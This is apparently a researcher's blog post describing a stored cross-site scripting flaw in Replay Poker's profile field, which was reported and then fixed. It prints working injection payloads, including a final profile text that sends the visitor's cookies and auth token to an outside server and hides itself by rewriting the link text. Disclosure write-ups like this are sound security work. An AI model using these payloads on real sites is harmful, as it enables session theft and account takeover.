How I hacked an online Poker site!

Initial publication: March 28th, 2022

I've recently started going through a bit of a Poker phase, and have been playing online using the website Replay Poker. This site isn't a real money gambling site, but just a place where you can play Poker with unwithdrawable in-game chips. Nevertheless, people do pay real money to gain more of these chips, so they're not exactly valueless.


One day I browse to the profile page, and notice there's an "About Me" input field I can control. Naturally, I spam a bunch of characters in there to see what would happen.

Whilst there's some server side filtering of HTML tags, there was one thing that warranted a deeper investigation: when you mention a previous hand in the format #n, it will automatically insert a link to the replay of that hand (https://www.replaypoker.com/hand/replay/n). This also works when sending messages to other players.

I quickly realized that the sanitization wasn't quite right here, as this can be abused to link to other pages on the site. For example, #69/../../../logout would create a link that logs out the user when clicked.

After a little more playing around, I discovered that if you add a " character, you can close the link's href property and insert another property! For example, we can stylize the link to be red, however by doing this the link's display text will change to the rather conspicuous https://www.replaypoker.com/hand/replay/69/../../../logout"style=color:red;":

#69/../../../logout"style=color:red;"


XSS

Anyway, it should be pretty clear at this point that we can use this primitive to inject JavaScript code. We do have to avoid certain characters like spaces and quotes, but this doesn't limit the potential of our payload because you could always access these characters indirectly (EG: String.fromCharCode(0x20)).

The most likely trigger for a victim to execute that I'm aware of for an a tag is the onmouseover event, which fires when a user moves their cursor over the link:

#69"onmouseover=alert(1);"y=

But again, this will appear very conspicuous because the link text will display as https://www.replaypoker.com/hand/replay/69"onmouseover=alert(1);"y=.


Making it more stealthy

On the profile page, these "About Me" texts start off truncated to 5 lines, with a button to display "more". If we place the link at the end of where the text will be cut-off, the onmouseover part won't be displayed initially.

Doing so also has another benefit: if the user clicks "more", the next line to be displayed (the rest of our link) will occupy where the button previously was, immediately triggering the mouseover event without the user's knowledge!

Once we have code execution, we can of course change the link text, in order to prevent suspicion:

document.getElementsByClassName('profile-about')[0].childNodes[2].childNodes[1].text=document.getElementsByClassName('profile-about')[0].childNodes[2].childNodes[1].text.split('69')[0]+'69';

And send the victim's cookies off to our server by creating an img with a request link that contains the cookie value:

document.getElementsByTagName('img')[0].cloneNode(false).src='http://example.com/?'+document.cookie;


Final exploit

The final profile text I came up with looks like this:

Welcome to my profile page.

bla bla bla bla bla bla blablablabla  blablabla bla blablablablablablablablabla blablablablablablabla Check out this insane hand that happened in last week's tournament! #69"onmouseover=document.getElementsByTagName('img')[0].cloneNode(false).src='http://example.com/?'+document.cookie;document.getElementsByClassName('profile-about')[0].childNodes[2].childNodes[1].text=document.getElementsByClassName('profile-about')[0].childNodes[2].childNodes[1].text.split('69')[0]+'69';/*alert('cookie_sent!')*/;"y

bla bla bla


Just like that, anyone who visits the attacker's profile and either moves their mouse over the link to the hand, or clicks the "more" button would have their cookies sent to the attacker's server, including the auth_token!


Disclosure

Instead of trying to ransom players for their accounts back, I decided to report the vulnerability to support@replaypoker.com the day of identifying it.

They fixed it a couple of days later, and offered to give me a public acknowledgement on their site.